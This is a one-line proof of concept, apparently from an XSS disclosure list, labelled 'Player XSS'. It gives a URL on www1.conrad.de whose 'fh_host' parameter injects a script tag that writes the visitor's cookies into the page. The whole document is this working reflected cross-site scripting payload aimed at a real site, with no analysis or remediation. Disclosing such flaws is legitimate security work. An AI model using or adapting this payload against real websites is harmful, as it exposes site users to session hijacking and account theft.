http://www1.conrad.de/fas6/fh.php?fh_host="><script>document.write(document.cookie)</script>
Player XSS